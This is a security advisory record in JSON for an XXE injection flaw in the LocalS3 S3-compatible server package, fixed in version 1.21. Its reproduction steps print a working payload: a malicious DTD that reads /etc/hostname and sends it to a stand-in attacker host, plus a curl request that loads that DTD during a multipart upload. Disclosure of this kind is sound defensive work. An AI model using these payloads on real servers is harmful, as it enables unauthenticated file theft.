{
  "schema_version": "1.4.0",
  "id": "GHSA-47qw-ccjm-9c2c",
  "modified": "2025-03-10T18:29:37Z",
  "published": "2025-03-10T18:29:36Z",
  "aliases": [],
  "summary": "LocalS3 XML Parser Vulnerable to XML External Entity (XXE) Injection",
  "details": "## Description\n\nThe LocalS3 project, which implements an S3-compatible storage interface, contains a critical XML External Entity (XXE) Injection vulnerability in its XML parsing functionality. When processing XML requests for multipart upload operations, the application accepts and processes XML external entities, allowing an attacker to read local system files and potentially make outbound network connections.\n\nThe vulnerability exists because the XML parser is configured to process external entities and DTD (Document Type Definition) declarations without proper restrictions. This allows an attacker to define external entities that can read local files and exfiltrate their contents through outbound HTTP requests.\n\nThe vulnerability is particularly severe as it allows direct access to sensitive files on the filesystem, bypassing any directory traversal protections that might be in place for normal S3 operations.\n\n## Steps to Reproduce\n\n1. Create a malicious DTD file containing the following content:\n```\n<!ENTITY % file SYSTEM \"file:///etc/hostname\">\n<!ENTITY % eval \"<!ENTITY &#x25; exfil SYSTEM 'http://attacker.domain/?flag=%file;'>\">\n%eval;\n%exfil;\n```\n\n2. Host the malicious DTD file on an accessible web server\n\n3. Initialize a multipart upload to the LocalS3 server:\n```\ncurl -X PUT \"http://app/test-bucket/test.txt?uploads\"\n```\n\n4. Send a POST request to complete the multipart upload with the following XML payload:\n    ```\n   curl -X POST \"http://app/test-bucket/test.txt?uploadId=[upload-id]\" \\\n   -H \"Content-Type: application/xml\" \\\n   -d '<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n   <!DOCTYPE data [\n   <!ENTITY % dtd SYSTEM \"http://attacker.domain/evil.dtd\">\n   %dtd;\n   ]>\n   <CompleteMultipartUpload>\n       <Part>\n           <PartNumber>1</PartNumber>\n           <ETag>test</ETag>\n       </Part>\n   </CompleteMultipartUpload>'\n    ```\n\nThe server will process the XML, load the external DTD, and when evaluating the entities, will read the contents of /etc/hostname and send them to the attacker's server via an HTTP request.\n\n## Mitigations\n\n- Disable DTD processing in the XML parser configuration\n- If DTD processing is required, disable the ability to load external entities and external DTDs\n- Implement XML parsing with secure defaults using JAXP's XMLConstants.FEATURE_SECURE_PROCESSING feature\n- Set up proper input validation and sanitization for all XML processing operations\n\n## Impact\n\nAn attacker can exploit this vulnerability to read arbitrary files from the server's filesystem and exfiltrate their contents through outbound HTTP requests. The vulnerability requires no authentication and can be exploited by anyone who can send requests to the LocalS3 server. This could lead to exposure of sensitive information including configuration files, credentials, and other confidential data stored on the server.",
  "severity": [
    {
      "type": "CVSS_V4",
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
    }
  ],
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.github.robothy:local-s3-rest"
      },
      "ranges": [
        {
          "type": "ECOSYSTEM",
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.21"
            }
          ]
        }
      ]
    }
  ],
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Robothy/local-s3/security/advisories/GHSA-47qw-ccjm-9c2c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Robothy/local-s3/commit/d6ed756ceb30c1eb9d4263321ac683d734f8836f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Robothy/local-s3"
    }
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-10T18:29:36Z",
    "nvd_published_at": null
  }
}